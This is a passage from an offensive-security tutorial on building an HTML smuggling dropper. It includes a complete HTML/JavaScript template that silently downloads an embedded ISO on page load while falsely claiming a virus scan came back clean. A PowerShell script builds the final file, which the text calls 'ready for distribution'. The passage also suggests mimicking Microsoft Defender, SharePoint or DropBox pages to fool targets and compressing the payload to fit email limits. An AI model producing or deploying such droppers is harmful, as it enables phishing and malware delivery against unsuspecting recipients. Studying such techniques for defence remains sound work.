Skip to content

Step 3: Assemble the HTML

HTML Dropper Design

With the ISO in-hand, we can begin constructing the HTML dropper. When opened, our HTML dropper will trigger the browser to "download" the ISO. We'll accomplish this using some clever JavaScript embedded in the HTML. For added measure, we'll make the HTML look as if it's performing a safety check on the file before initiating the download.

Create the HTML Template

Rather than put everything together by hand, we'll create a base HTML template, along with a PowerShell script that will inject the document_archive.iso file into the template. This way, we can easily replace the ISO without having to re-write the HTML file by hand. Here's our basic template:

<!DOCTYPE html>
<html>
    <head>
        <script>
            const filename = "document_archive.iso";
            const contentBase64 = (
                "ISO_GOES_HERE"
            );
            function triggerDownload() {
                var element = document.createElement("a");
                element.setAttribute("href", `data:application/octet-stream;base64,${contentBase64}`);
                element.setAttribute("target", "_self");
                element.setAttribute("download", filename);
                element.style.display = "none";
                document.body.appendChild(element);
                element.click();
                document.body.removeChild(element);
            }
        </script>
    </head>
    <body onload="triggerDownload()">
        <b>Scan complete! No viruses found. Downloading document archive...</b>
    </body>
</html>

Save this file as html_template.htm, in the PoC Dropper directory.

Our template is obviously not going to win any HTML design awards, but it'll suffice. When the HTML file finishes loading, the triggerDownload JavaScript function gets called. The function creates an invisible hyperlink, configures it to save the ISO file (embedded in the contentBase64 variable), then automatically clicks the link. Once clicked, the JavaScript automatically removes the hyperlink from the page. For extra credibility, we've added a message to the body of the HTML which claims that the file was scanned before the download commenced.

Automate the HTML Build

In order to complete the HTML dropper, we'll need to replace the ISO_GOES_HERE block with the Base64-encoded ISO file. We can do this with PowerShell. Create a new PowerShell script called build_html.ps1, in the PoC Dropper directory, with the following contents:

# Read HTML from `html_template.htm`.
$html = Get-Content -path "html_template.htm";

# Base64-encode the ISO.
$encodedIso = [convert]::ToBase64String((Get-Content -path "document_archive.iso" -Encoding byte));
$splitLines = $encodedIso -split "(.{78})" | ? {$_};
$encodedLines = $splitLines -join "`"`n                `"";

# Replace the placeholder with the Base64-encoded ISO.
$html = $html -replace "ISO_GOES_HERE", $encodedLines;

# Write the HTML to `output.htm`.
$html | Out-File -FilePath "output.htm" -Encoding ascii;

Build the HTML

With our script complete, we can execute the build_html.ps1 script, which will produce the output.htm file. The output.htm will look something like this:

// [...]
const filename = "document_archive.iso";
const contentBase64 = (
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    // [...]
);
function triggerDownload() {
    var element = document.createElement("a");
    element.setAttribute("href", `data:application/octet-stream;base64,${contentBase64}`);
    element.setAttribute("target", "_self");
// [...]

Don't worry if it looks like the Base64 file is all As; this is common for the filetype. Having confirmed the output.htm file was successfully written, we can rename it to document.htm, and it's ready for distribution!

Improving the Design

Our HTML dropper is complete, but there are plenty of ways it could be improved. For one, we could use stylesheets and JavaScript to create a more convincing page. If the target has some form of link protection (such as the one provided by Microsoft Defender 365), the HTML could be crafted to mimic its look and feel, so that it blends in with what the target is used to seeing. Some attackers tailor the HTML to appear as a file-sharing portal, like SharePoint or DropBox, lending similar credibility.

Another pinch-point is the size of the document.htm file. While the contents of the ISO file are only a few kilobytes large, the ISO file itself can be a few megabytes in size. With our simple PoC stager, this isn't much of an issue, but bundling a larger stager could be a problem, as emails often have a limit on maximum attachment size. To account for this, one could use gzip compression to shrink the ISO, resulting in a much smaller file. However, this would require the JavaScript to decompress the ISO in-memory prior to triggering the download.

We will leave these improvements as a challenge for the reader.